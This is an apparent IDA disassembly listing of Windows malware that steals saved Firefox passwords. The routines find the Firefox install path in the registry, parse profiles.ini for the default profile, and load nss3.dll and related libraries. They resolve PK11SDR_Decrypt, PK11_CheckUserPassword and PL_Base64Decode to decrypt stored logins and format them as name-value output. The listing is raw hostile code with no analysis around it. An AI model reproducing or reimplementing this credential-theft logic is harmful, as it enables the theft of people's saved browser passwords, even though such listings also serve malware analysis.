		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_4293A0
		xor	edx, edx
		pop	ecx
		test	eax, eax
		jle	short loc_4246EE


loc_4246D6:				; CODE XREF: sub_4246C4+28j
		mov	cl, [edx+esi]
		cmp	cl, 41h
		jl	short loc_4246E9
		cmp	cl, 5Ah
		jg	short loc_4246E9
		add	cl, 20h
		mov	[edx+esi], cl


loc_4246E9:				; CODE XREF: sub_4246C4+18j
					; sub_4246C4+1Dj
		inc	edx
		cmp	edx, eax
		jl	short loc_4246D6


loc_4246EE:				; CODE XREF: sub_4246C4+10j
		pop	esi
		retn
sub_4246C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4246F0	proc near		; CODE XREF: sub_424762+2Ep
					; sub_424762+40p ...

var_1000	= byte ptr -1000h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_429B60
		mov	al, byte_454A54
		push	esi
		push	edi
		mov	[ebp+var_1000],	al
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp+var_FFF]
		push	[ebp+arg_0]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_1000]
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	esi, dword_437090
		lea	eax, [ebp+var_1000]
		push	offset asc_446DF8 ; "/"
		push	eax
		call	esi ; dword_437090
		push	[ebp+arg_4]
		lea	eax, [ebp+var_1000]
		push	eax
		call	esi ; dword_437090
		lea	eax, [ebp+var_1000]
		push	eax
		call	dword_437034	; LoadLibraryA
		pop	edi
		mov	dword_6737C8, eax
		pop	esi
		leave
		retn
sub_4246F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_424762	proc near		; CODE XREF: sub_425092+FEp

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		push	edi
		cmp	esi, ebx
		mov	dword_6737C4, ebx
		mov	dword_6737C0, ebx
		mov	edi, offset aPlc4_dll ;	"plc4.dll"
		mov	ebp, offset aNss3_dll ;	"nss3.dll"
		jz	loc_424854
		push	offset aMozcrt19_dll ; "mozcrt19.dll"
		push	esi
		call	sub_4246F0
		pop	ecx
		mov	ebx, offset aNspr4_dll ; "nspr4.dll"
		test	eax, eax
		pop	ecx
		jz	short loc_4247E9
		push	ebx
		push	esi
		call	sub_4246F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4247E9
		push	offset aPlds4_dll ; "plds4.dll"
		push	esi
		call	sub_4246F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4247E9
		push	edi
		push	esi
		call	sub_4246F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4247E9
		push	offset aNssutil3_dll ; "nssutil3.dll"
		push	esi
		call	sub_4246F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4247E9
		push	offset aSqlite3_dll ; "sqlite3.dll"
		push	esi
		call	sub_4246F0
		pop	ecx
		pop	ecx


loc_4247E9:				; CODE XREF: sub_424762+3Cj
					; sub_424762+49j ...
		push	ebx
		push	esi
		call	sub_4246F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42484A
		push	offset aPlds4_dll ; "plds4.dll"
		push	esi
		call	sub_4246F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42484A
		push	edi
		push	esi
		call	sub_4246F0
		pop	ecx
		mov	dword_6737C4, eax
		test	eax, eax
		pop	ecx
		jz	short loc_42484A
		push	edi
		push	esi
		call	sub_4246F0
		pop	ecx
		mov	dword_6737C4, eax
		test	eax, eax
		pop	ecx
		jz	short loc_42484A
		push	offset aSoftokn3_dll ; "softokn3.dll"
		push	esi
		call	sub_4246F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42484A
		push	ebp
		push	esi
		call	sub_4246F0
		pop	ecx
		mov	dword_6737C0, eax
		pop	ecx


loc_42484A:				; CODE XREF: sub_424762+92j
					; sub_424762+A3j ...
		xor	ebx, ebx
		cmp	dword_6737C0, ebx
		jnz	short loc_42487E


loc_424854:				; CODE XREF: sub_424762+22j
		mov	esi, dword_437034
		push	ebp
		call	esi ; dword_437034
		push	edi
		mov	dword_6737C0, eax
		call	esi ; dword_437034
		cmp	dword_6737C0, ebx
		mov	dword_6737C4, eax
		jz	loc_424956
		cmp	eax, ebx
		jz	loc_424956


loc_42487E:				; CODE XREF: sub_424762+F0j
		mov	esi, dword_437030
		push	offset aNss_init ; "NSS_Init"
		push	dword_6737C0
		call	esi ; dword_437030
		push	offset aNss_shutdown ; "NSS_Shutdown"
		mov	dword_67379C, eax
		push	dword_6737C0
		call	esi ; dword_437030
		push	offset aPk11_getintern ; "PK11_GetInternalKeySlot"
		mov	dword_6737A0, eax
		push	dword_6737C0
		call	esi ; dword_437030
		push	offset aPk11_freeslot ;	"PK11_FreeSlot"
		mov	dword_6737A4, eax
		push	dword_6737C0
		call	esi ; dword_437030
		push	offset aPk11_authentic ; "PK11_Authenticate"
		mov	dword_6737AC, eax
		push	dword_6737C0
		call	esi ; dword_437030
		push	offset aPk11sdr_decryp ; "PK11SDR_Decrypt"
		mov	dword_6737B0, eax
		push	dword_6737C0
		call	esi ; dword_437030
		push	offset aPk11_checkuser ; "PK11_CheckUserPassword"
		mov	dword_6737B4, eax
		push	dword_6737C0
		call	esi ; dword_437030
		cmp	dword_67379C, ebx
		mov	dword_6737A8, eax
		jz	short loc_424951
		cmp	dword_6737A0, ebx
		jz	short loc_424951
		cmp	dword_6737A4, ebx
		jz	short loc_424951
		cmp	dword_6737B0, ebx
		jz	short loc_424951
		cmp	dword_6737B4, ebx
		jz	short loc_424951
		cmp	dword_6737AC, ebx
		jz	short loc_424951
		cmp	eax, ebx
		jz	short loc_424951
		push	offset aPl_base64decod ; "PL_Base64Decode"
		push	dword_6737C4
		call	esi ; dword_437030
		cmp	eax, ebx
		mov	dword_6737B8, eax
		jz	short loc_424951
		xor	eax, eax
		inc	eax
		jmp	short loc_424958
; ---------------------------------------------------------------------------


loc_424951:				; CODE XREF: sub_424762+1A6j
					; sub_424762+1AEj ...
		call	sub_424984


loc_424956:				; CODE XREF: sub_424762+10Ej
					; sub_424762+116j
		xor	eax, eax


loc_424958:				; CODE XREF: sub_424762+1EDj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_424762	endp


; =============== S U B	R O U T	I N E =======================================



sub_42495D	proc near		; CODE XREF: sub_425092+109p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		and	dword_6737BC, 0
		call	dword_67379C
		test	eax, eax
		pop	ecx
		jz	short loc_42497B
		call	sub_424984
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42497B:				; CODE XREF: sub_42495D+14j
		xor	eax, eax
		inc	eax
		mov	dword_6737BC, eax
		retn
sub_42495D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424984	proc near		; CODE XREF: sub_424762:loc_424951p
					; sub_42495D+16p
		cmp	dword_6737BC, 0
		jz	short loc_424998
		mov	eax, dword_6737A0
		test	eax, eax
		jz	short loc_424998
		call	eax ; dword_6737A0


loc_424998:				; CODE XREF: sub_424984+7j
					; sub_424984+10j
		mov	eax, dword_6737C0
		push	esi
		mov	esi, dword_437038
		test	eax, eax
		jz	short loc_4249AB
		push	eax
		call	esi ; dword_437038


loc_4249AB:				; CODE XREF: sub_424984+22j
		mov	eax, dword_6737C4
		test	eax, eax
		jz	short loc_4249B7
		push	eax
		call	esi ; dword_437038


loc_4249B7:				; CODE XREF: sub_424984+2Ej
		pop	esi
		retn
sub_424984	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4249B9	proc near		; CODE XREF: sub_424B0B+189p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		lea	ecx, [ebp+var_10]
		cmp	[eax], bl
		push	esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		push	ecx
		jz	short loc_424A43
		lea	ecx, [ebp+var_8]
		push	ecx
		push	eax
		call	sub_424A59
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_424A3F
		cmp	[ebp+var_8], ebx
		jz	short loc_424A3F
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		call	sub_424AAC
		add	esp, 10h
		test	eax, eax
		jz	short loc_424A3F
		cmp	[ebp+var_C], ebx
		jz	short loc_424A3F
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_4297B8
		mov	esi, [ebp+arg_4]
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jz	short loc_424A3F
		push	[ebp+var_4]
		push	[ebp+var_C]
		push	eax
		call	sub_429420
		mov	eax, [esi]
		mov	ecx, [ebp+var_4]
		add	esp, 0Ch
		mov	[ecx+eax], bl
		xor	eax, eax
		inc	eax
		jmp	short loc_424A55
; ---------------------------------------------------------------------------


loc_424A3F:				; CODE XREF: sub_4249B9+30j
					; sub_4249B9+35j ...
		xor	eax, eax
		jmp	short loc_424A55
; ---------------------------------------------------------------------------


loc_424A43:				; CODE XREF: sub_4249B9+1Fj
		push	[ebp+arg_4]
		push	eax
		call	sub_424A59
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax


loc_424A55:				; CODE XREF: sub_4249B9+84j
					; sub_4249B9+88j
		pop	esi
		pop	ebx
		leave
		retn
sub_4249B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A59	proc near		; CODE XREF: sub_4249B9+26p
					; sub_4249B9+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		push	edi
		call	sub_4293A0
		mov	esi, eax
		xor	ebx, ebx
		pop	ecx
		cmp	byte ptr [esi+edi-1], 3Dh
		jnz	short loc_424A7D
		inc	ebx
		cmp	byte ptr [esi+edi-2], 3Dh
		jnz	short loc_424A7D
		push	2
		pop	ebx


loc_424A7D:				; CODE XREF: sub_424A59+17j
					; sub_424A59+1Fj
		push	0
		push	esi
		push	edi
		call	dword_6737B8
		mov	ecx, [esp+18h+arg_4]
		add	esp, 0Ch
		test	eax, eax
		mov	[ecx], eax
		jz	short loc_424AA8
		lea	eax, [esi+esi*2]
		push	4
		cdq
		pop	ecx
		idiv	ecx
		mov	ecx, [esp+0Ch+arg_8]
		sub	eax, ebx
		mov	[ecx], eax
		xor	eax, eax
		inc	eax


loc_424AA8:				; CODE XREF: sub_424A59+39j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_424A59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424AAC	proc near		; CODE XREF: sub_4249B9+45p

var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		call	dword_6737A4
		mov	esi, eax
		xor	eax, eax
		cmp	esi, eax
		jz	short loc_424AE9
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_14], ecx
		mov	ecx, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_10], ecx
		push	eax
		call	dword_6737B4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_424AED


loc_424AE9:				; CODE XREF: sub_424AAC+13j
		xor	eax, eax
		jmp	short loc_424B08
; ---------------------------------------------------------------------------


loc_424AED:				; CODE XREF: sub_424AAC+3Bj
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_8]
		push	esi
		mov	[eax], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		call	dword_6737AC
		xor	eax, eax
		pop	ecx
		inc	eax


loc_424B08:				; CODE XREF: sub_424AAC+3Fj
		pop	esi
		leave
		retn
sub_424AAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B0B	proc near		; CODE XREF: sub_425092+131p
					; sub_425092+154p ...

var_A008	= byte ptr -0A008h
var_7808	= byte ptr -7808h
var_5008	= byte ptr -5008h
var_2808	= byte ptr -2808h
var_2807	= byte ptr -2807h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, 0A008h
		call	sub_429B60
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	eax, eax
		cmp	esi, offset dword_4503CC
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		jnz	short loc_424B34
		mov	[ebp+var_4], 1


loc_424B34:				; CODE XREF: sub_424B0B+20j
		cmp	esi, offset dword_4503BC
		jnz	short loc_424B43
		mov	[ebp+var_4], 2


loc_424B43:				; CODE XREF: sub_424B0B+2Fj
		cmp	esi, offset dword_4503AC
		jnz	short loc_424B52
		mov	[ebp+var_4], 3


loc_424B52:				; CODE XREF: sub_424B0B+3Ej
		cmp	[ebp+arg_0], eax
		jz	loc_424D5F
		cmp	esi, eax
		jz	loc_424D5F
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5008]
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	ebx, dword_437090
		lea	eax, [ebp+var_5008]
		push	offset asc_44DABC ; "\\"
		push	eax
		call	ebx ; dword_437090
		lea	eax, [ebp+var_5008]
		push	esi
		push	eax
		call	ebx ; dword_437090
		lea	eax, [ebp+var_5008]
		push	eax
		call	sub_4245ED
		test	eax, eax
		pop	ecx
		jz	loc_424D5F
		push	edi
		mov	edi, 2800h
		lea	eax, [ebp+var_2808]
		push	edi
		push	eax
		call	sub_424666
		lea	eax, [ebp+var_2808]
		push	edi
		push	eax
		call	sub_424666
		add	esp, 10h
		jmp	short loc_424BF4
; ---------------------------------------------------------------------------


loc_424BCB:				; CODE XREF: sub_424B0B+EBj
		lea	eax, [ebp+var_2808]
		push	eax
		call	sub_4293A0
		test	eax, eax
		pop	ecx
		jz	short loc_424BE5
		cmp	[ebp+var_2808],	2Eh
		jz	short loc_424BF8


loc_424BE5:				; CODE XREF: sub_424B0B+CFj
		lea	eax, [ebp+var_2808]
		push	edi
		push	eax
		call	sub_424666
		pop	ecx
		pop	ecx


loc_424BF4:				; CODE XREF: sub_424B0B+BEj
		test	eax, eax
		jnz	short loc_424BCB


loc_424BF8:				; CODE XREF: sub_424B0B+D8j
		lea	eax, [ebp+var_2808]
		push	edi
		push	eax
		call	sub_424666
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424D59
		mov	esi, offset aS_5 ; "%s"


loc_424C14:				; CODE XREF: sub_424B0B:loc_424D53j
		lea	eax, [ebp+var_2808]
		push	eax
		lea	eax, [ebp+var_7808]
		push	[ebp+var_4]
		push	offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
		push	offset dword_45038C
		push	edi
		push	eax
		call	sub_429BBE
		lea	eax, [ebp+var_2808]
		push	edi
		push	eax
		call	sub_424666
		add	esp, 20h
		jmp	loc_424CEB
; ---------------------------------------------------------------------------


loc_424C4A:				; CODE XREF: sub_424B0B+1E2j
		cmp	[ebp+var_2808],	2Eh
		jz	loc_424CF3
		cmp	[ebp+var_2808],	2Ah
		lea	eax, [ebp+var_2807]
		jz	short loc_424C6C
		lea	eax, [ebp+var_2808]


loc_424C6C:				; CODE XREF: sub_424B0B+159j
		push	eax
		lea	eax, [ebp+var_A008]
		push	eax
		call	dword_4370B4	; lstrcpyA
		lea	eax, [ebp+var_2808]
		push	edi
		push	eax
		call	sub_424666
		pop	ecx
		lea	eax, [ebp+var_8]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2808]
		push	eax
		call	sub_4249B9
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_424CDC
		lea	eax, [ebp+var_A008]
		push	eax
		lea	eax, [ebp+var_7808]
		push	eax
		call	ebx ; dword_437090
		lea	eax, [ebp+var_7808]
		push	offset asc_450388 ; ": "
		push	eax
		call	ebx ; dword_437090
		push	[ebp+var_8]
		lea	eax, [ebp+var_7808]
		push	eax
		call	ebx ; dword_437090
		lea	eax, [ebp+var_7808]
		push	offset asc_43D938 ; " "
		push	eax
		call	ebx ; dword_437090
		and	[ebp+var_8], 0


loc_424CDC:				; CODE XREF: sub_424B0B+193j
		lea	eax, [ebp+var_2808]
		push	edi
		push	eax
		call	sub_424666
		pop	ecx
		pop	ecx


loc_424CEB:				; CODE XREF: sub_424B0B+13Aj
		test	eax, eax
		jnz	loc_424C4A


loc_424CF3:				; CODE XREF: sub_424B0B+146j
		lea	eax, [ebp+var_7808]
		cmp	[ebp+arg_10], 0
		push	eax
		push	esi
		push	[ebp+arg_14]
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		jnz	short loc_424D11
		call	sub_41CF4C
		jmp	short loc_424D16
; ---------------------------------------------------------------------------


loc_424D11:				; CODE XREF: sub_424B0B+1FDj
		call	sub_41CFE0


loc_424D16:				; CODE XREF: sub_424B0B+204j
		add	esp, 14h
		cmp	[ebp+arg_18], 0
		jnz	short loc_424D42
		cmp	[ebp+arg_10], 0
		lea	eax, [ebp+var_7808]
		push	eax
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		jnz	short loc_424D3A
		call	sub_41CE4A
		jmp	short loc_424D3F
; ---------------------------------------------------------------------------


loc_424D3A:				; CODE XREF: sub_424B0B+226j
		call	sub_41CDD4


loc_424D3F:				; CODE XREF: sub_424B0B+22Dj
		add	esp, 10h


loc_424D42:				; CODE XREF: sub_424B0B+212j
		lea	eax, [ebp+var_2808]
		push	edi
		push	eax
		call	sub_424666
		pop	ecx
		test	eax, eax
		pop	ecx


loc_424D53:				; DATA XREF: .text:0043DA6Co
		jnz	loc_424C14


loc_424D59:				; CODE XREF: sub_424B0B+FEj
		xor	eax, eax
		pop	edi
		inc	eax
		jmp	short loc_424D61
; ---------------------------------------------------------------------------


loc_424D5F:				; CODE XREF: sub_424B0B+4Aj
					; sub_424B0B+52j ...
		xor	eax, eax


loc_424D61:				; CODE XREF: sub_424B0B+252j
		pop	esi
		pop	ebx
		leave
		retn
sub_424B0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D65	proc near		; CODE XREF: sub_425092+E7p

var_154		= byte ptr -154h
var_110		= byte ptr -110h
var_10F		= byte ptr -10Fh
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 154h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	ecx
		mov	esi, offset aSoftwareClient ; "SOFTWARE\\Clients\\StartMenuInternet\\fire"...
		lea	edi, [ebp+var_154]
		mov	al, byte_454A54
		rep movsd
		movsw
		push	40h
		mov	[ebp+var_110], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_10F]
		xor	ebx, ebx
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], 104h
		push	eax
		push	20019h
		lea	eax, [ebp+var_154]
		push	ebx
		push	eax
		push	80000002h
		call	dword_437004	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_424EA4
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	ebx
		push	ebx
		push	[ebp+var_4]
		call	dword_437028	; RegQueryValueExA
		test	eax, eax
		jnz	loc_424E9B
		cmp	[ebp+var_8], ebx
		jbe	loc_424E9B
		cmp	[ebp+var_110], bl
		jz	loc_424E9B
		push	[ebp+var_4]
		call	dword_437000	; RegCloseKey
		cmp	[ebp+var_110], 22h
		jnz	short loc_424E47
		lea	eax, [ebp+var_110]
		xor	esi, esi
		push	eax
		call	sub_4293A0
		dec	eax
		pop	ecx
		jz	short loc_424E47


loc_424E26:				; CODE XREF: sub_424D65+E0j
		mov	al, [ebp+esi+var_10F]
		mov	[ebp+esi+var_110], al
		lea	eax, [ebp+var_110]
		push	eax
		inc	esi
		call	sub_4293A0
		dec	eax
		pop	ecx
		cmp	esi, eax
		jb	short loc_424E26


loc_424E47:				; CODE XREF: sub_424D65+ADj
					; sub_424D65+BFj
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_4293A0
		pop	ecx
		jmp	short loc_424E60
; ---------------------------------------------------------------------------


loc_424E56:				; CODE XREF: sub_424D65+FEj
		cmp	[ebp+eax+var_110], 5Ch
		jz	short loc_424E67


loc_424E60:				; CODE XREF: sub_424D65+EFj
		dec	eax
		cmp	eax, ebx
		jg	short loc_424E56
		jmp	short loc_424E6E
; ---------------------------------------------------------------------------


loc_424E67:				; CODE XREF: sub_424D65+F9j
		mov	[ebp+eax+var_110], bl


loc_424E6E:				; CODE XREF: sub_424D65+100j
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_4293A0
		inc	eax
		push	eax
		call	sub_4297B8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_424E97
		lea	eax, [ebp+var_110]
		push	eax
		push	esi
		call	dword_4370B4	; lstrcpyA


loc_424E97:				; CODE XREF: sub_424D65+122j
		mov	eax, esi
		jmp	short loc_424EA6
; ---------------------------------------------------------------------------


loc_424E9B:				; CODE XREF: sub_424D65+82j
					; sub_424D65+8Bj ...
		push	[ebp+var_4]
		call	dword_437000	; RegCloseKey


loc_424EA4:				; CODE XREF: sub_424D65+60j
		xor	eax, eax


loc_424EA6:				; CODE XREF: sub_424D65+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424D65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424EAB	proc near		; CODE XREF: sub_425092:loc_425163p

var_64C		= dword	ptr -64Ch
var_63D		= byte ptr -63Dh
var_63C		= byte ptr -63Ch
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_137		= byte ptr -137h
var_34		= byte ptr -34h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 63Ch
		mov	al, byte_454A54
		push	ebx
		push	esi
		push	edi
		push	40h
		mov	[ebp+var_138], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_137]
		push	8
		rep stosd
		stosw
		stosb
		pop	ecx
		mov	esi, offset aApplicationDat ; "Application Data\\Mozilla\\Firefox"
		lea	edi, [ebp+var_34]
		lea	eax, [ebp+var_C]
		rep movsd
		xor	ebx, ebx
		push	eax
		push	8
		mov	[ebp+var_10], 104h
		movsb
		mov	[ebp+var_4], ebx
		call	dword_43704C	; GetCurrentProcess
		push	eax
		call	dword_437010	; OpenProcessToken
		test	eax, eax
		jz	short loc_424F79
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_C]
		call	dword_437280
		test	eax, eax
		jz	short loc_424F79
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	esi, dword_437090
		mov	edi, offset asc_44DABC ; "\\"
		lea	eax, [ebp+var_23C]
		push	edi
		push	eax
		call	esi ; dword_437090
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	esi ; dword_437090
		lea	eax, [ebp+var_23C]
		push	offset aProfiles_ini ; "\\profiles.ini"
		push	eax
		call	esi ; dword_437090
		lea	eax, [ebp+var_23C]
		push	offset word_43EF70
		push	eax
		call	sub_42A50C
		pop	ecx
		mov	[ebp+var_8], eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424F80


loc_424F79:				; CODE XREF: sub_424EAB+56j
					; sub_424EAB+6Ej
		xor	eax, eax
		jmp	loc_42508D
; ---------------------------------------------------------------------------


loc_424F80:				; CODE XREF: sub_424EAB+CCj
		push	eax
		jmp	short loc_424FCA
; ---------------------------------------------------------------------------


loc_424F83:				; CODE XREF: sub_424EAB+135j
		lea	eax, [ebp+var_63C]
		push	eax
		call	sub_4246C4
		cmp	[ebp+var_4], 0
		pop	ecx
		lea	eax, [ebp+var_63C]
		jnz	short loc_424FB6
		push	offset aNameDefault ; "name=default"
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_424FC7
		mov	[ebp+var_4], 1
		jmp	short loc_424FC7
; ---------------------------------------------------------------------------


loc_424FB6:				; CODE XREF: sub_424EAB+EFj
		push	offset aPath_0	; "path="
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424FE7


loc_424FC7:				; CODE XREF: sub_424EAB+100j
					; sub_424EAB+109j
		push	[ebp+var_8]


loc_424FCA:				; CODE XREF: sub_424EAB+D6j
		lea	eax, [ebp+var_63C]
		push	400h
		push	eax
		call	sub_42B087
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_424F83
		jmp	loc_425082
; ---------------------------------------------------------------------------


loc_424FE7:				; CODE XREF: sub_424EAB+11Aj
		lea	eax, [ebp+var_63C]
		push	offset asc_446DF8 ; "/"
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_425001
		mov	byte ptr [eax],	5Ch


loc_425001:				; CODE XREF: sub_424EAB+151j
		lea	eax, [ebp+var_63C]
		push	eax
		call	sub_4293A0
		and	[ebp+eax+var_63D], 0
		lea	eax, [ebp+var_63C]
		mov	[esp+64Ch+var_64C], offset asc_44736C ;	"="
		push	eax
		call	sub_42AEA0
		push	eax
		mov	[ebp+var_4], eax
		call	sub_4293A0
		mov	ebx, eax
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_4293A0
		add	ebx, eax
		lea	eax, [ebp+var_138]
		push	eax
		call	sub_4293A0
		lea	eax, [ebx+eax+3]
		push	eax
		call	sub_4297B8
		mov	ebx, eax
		add	esp, 18h
		test	ebx, ebx
		jz	short loc_425082
		lea	eax, [ebp+var_138]
		push	eax
		push	ebx
		call	dword_4370B4	; lstrcpyA
		push	edi
		push	ebx
		call	esi ; dword_437090
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	esi ; dword_437090
		push	edi
		push	ebx
		call	esi ; dword_437090
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	ebx
		call	esi ; dword_437090


loc_425082:				; CODE XREF: sub_424EAB+137j
					; sub_424EAB+1B0j
		push	[ebp+var_8]
		call	sub_42A10B
		pop	ecx
		mov	eax, ebx


loc_42508D:				; CODE XREF: sub_424EAB+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424EAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425092	proc near		; DATA XREF: sub_40A9FE+1389o

var_28E4	= byte ptr -28E4h
var_1D4		= byte ptr -1D4h
var_D0		= dword	ptr -0D0h
var_CC		= byte ptr -0CCh
var_48		= dword	ptr -48h
var_18		= dword	ptr -18h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28E4h
		call	sub_429B60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	31h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_D0]
		rep movsd
		mov	esi, dword_437004
		mov	dword ptr [eax+0BCh], 1
		and	[ebp+var_8], 0
		lea	eax, [ebp+arg_0]
		mov	ebx, 20019h
		push	eax
		push	ebx
		push	0
		mov	edi, 80000002h
		push	offset aSoftwareMozill ; "SOFTWARE\\Mozilla\\Mozilla Firefox"
		push	edi
		mov	[ebp+var_4], 104h
		call	esi ; dword_437004
		test	eax, eax
		jz	short loc_425101
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	offset aSoftwareMozi_0 ; "SOFTWARE\\mozilla.org\\Mozilla"
		push	edi
		call	esi ; dword_437004
		test	eax, eax
		jnz	loc_425216


loc_425101:				; CODE XREF: sub_425092+56j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1D4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	offset aCurrentversion ; "CurrentVersion"
		push	[ebp+arg_0]
		call	dword_437028	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_42513E
		cmp	[ebp+var_4], eax
		ja	short loc_425135
		cmp	[ebp+var_1D4], al
		jz	loc_425216


loc_425135:				; CODE XREF: sub_425092+95j
		push	[ebp+arg_0]
		call	dword_437000	; RegCloseKey


loc_42513E:				; CODE XREF: sub_425092+90j
		cmp	[ebp+var_48], 0
		jz	short loc_425160
		push	2710h
		lea	eax, [ebp+var_28E4]
